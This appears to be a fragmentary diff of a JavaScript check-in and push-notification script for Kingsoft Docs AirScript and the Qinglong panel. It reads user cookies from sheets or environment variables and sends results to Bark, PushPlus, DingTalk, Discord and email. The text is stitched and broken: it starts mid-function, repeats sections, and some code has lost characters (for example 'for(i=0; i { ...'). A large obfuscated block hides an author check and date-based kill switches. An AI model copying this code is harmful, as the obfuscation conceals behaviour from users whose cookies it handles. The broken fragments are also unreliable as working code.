当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://api.suyanw.cn/api/rshy.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 签到结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i NetWork(中文名叫"网络") -> 按一下Ctrl+R -> www.smzdm.com -> cookie + 什么值得买网址:https://www.smzdm.com +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "smzdm"; // 分配置表名称 +var pushHeader = "【什么值得买】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 